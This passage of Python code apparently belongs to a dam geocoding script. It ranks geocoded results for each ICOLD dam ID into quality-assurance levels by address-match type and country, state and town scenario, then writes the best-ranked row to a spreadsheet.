local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. -------------------------------- QA_rank = [5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state out-town' or \ x == 'in-country unknown-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [5.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state out-town' or \ x == 'in-country unknown-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [6] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state out-town' or \ x == 'in-country out-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [6.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state out-town' or \ x == 'in-country out-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [7] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:16] == 'unknown-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [7.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:16] == 'unknown-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [8] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:12] == 'out-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [8.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:12] == 'out-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. # The remaining geocoded records (QA_rank = 9) are considered to be unsuccessful and errorneous. # They will not participate into manual quality control (QC). QA_rank = [9] else: # If the country is China, use the original address order (as below) in QA ranking. Sc_list_1 = [] for Sc_list_unit in Sc_list: Sc_list_1.append(Sc_list_unit) Sc_list_1_len = len(Sc_list_1) for this_Sc_unit in Sc_list_1: Sc_list.append(this_Sc_unit) Sc_list_cleaned = [] for here_i in range(len(Sc_list)): text_encoded_addr = '' this_scenario = Sc_list[here_i] for this_element in this_scenario: if this_element != '': # If this element is not blank text_encoded_addr = text_encoded_addr + this_element + ', ' # Delete the ending ', ' text_encoded_addr = text_encoded_addr[0 : len(text_encoded_addr)-2] if here_i < Sc_list_1_len: encoded_addr = urllib.parse.quote(text_encoded_addr) + '&components=' + administrative_components else: encoded_addr = urllib.parse.quote(text_encoded_addr) Sc_list_cleaned.append(encoded_addr) same_ICOLDID_indices = [i for i, x in enumerate(infile_ICOLDIDs) if x == this_ICOLDID] local_addresses = [] local_match = [] local_scenarios = [] local_geocoded_dam_name = [] for ID_index in same_ICOLDID_indices: local_addresses.append(infile_rows[ID_index][62]) local_match.append((infile_rows[ID_index][82]).lower().strip()) local_scenarios.append((infile_rows[ID_index][83]).lower().strip()) local_geocoded_dam_name.append((infile_rows[ID_index][90]).lower().strip()) # Rank QA levels of each of the geocoded results associated with the same ICOLD ID, and write the best one to the output. good_passed = 0 # "0" meaning the best possible rank has not been reached. GOOD_ICOLDID_indices = [] # Array containing indices for this QA rank. GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] if state_province != '' and town_original != '': QA_rank = [1] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country in-state in-town' or x == 'in-country in-state in-town-2' \ or x == 'in-country in-state-2 in-town' or x == 'in-country in-state-2 in-town-2'] elif state_province != '' and town_original == '': QA_rank = [1.1] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country in-state unknown-town' or x == 'in-country in-state-2 unknown-town'] elif state_province == '' and town_original != '': QA_rank = [1.1] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country unknown-state in-town' or x == 'in-country unknown-state in-town-2'] elif state_province == '' and town_original == '': QA_rank = [1.2] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country unknown-state unknown-town'] else: GOOD_ICOLDID_indices_2 = [] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) # Check if records for this QA_rank exists or not. if len(GOOD_ICOLDID_indices) > 0: # Meaning this QA_rank exists. GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: # Name matches good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with the best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [1.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country in-state in-town' or \ x == 'in-country in-state in-town-2' or \ x == 'in-country in-state-2 in-town' or \ x == 'in-country in-state-2 in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: #name match exists good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [2] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country in-state out-town' or \ x == 'in-country in-state unknown-town' or \ x == 'in-country in-state-2 out-town' or \ x == 'in-country in-state-2 unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [2.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country in-state out-town' or \ x == 'in-country in-state unknown-town' or \ x == 'in-country in-state-2 out-town' or \ x == 'in-country in-state-2 unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [3] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state in-town' or \ x == 'in-country unknown-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [3.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state in-town' or \ x == 'in-country unknown-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [4] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state in-town' or \ x == 'in-country out-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [4.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state in-town' or \ x == 'in-country out-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. -------------------------------- QA_rank = [5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state out-town' or \ x == 'in-country unknown-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [5.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state out-town' or \ x == 'in-country unknown-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = 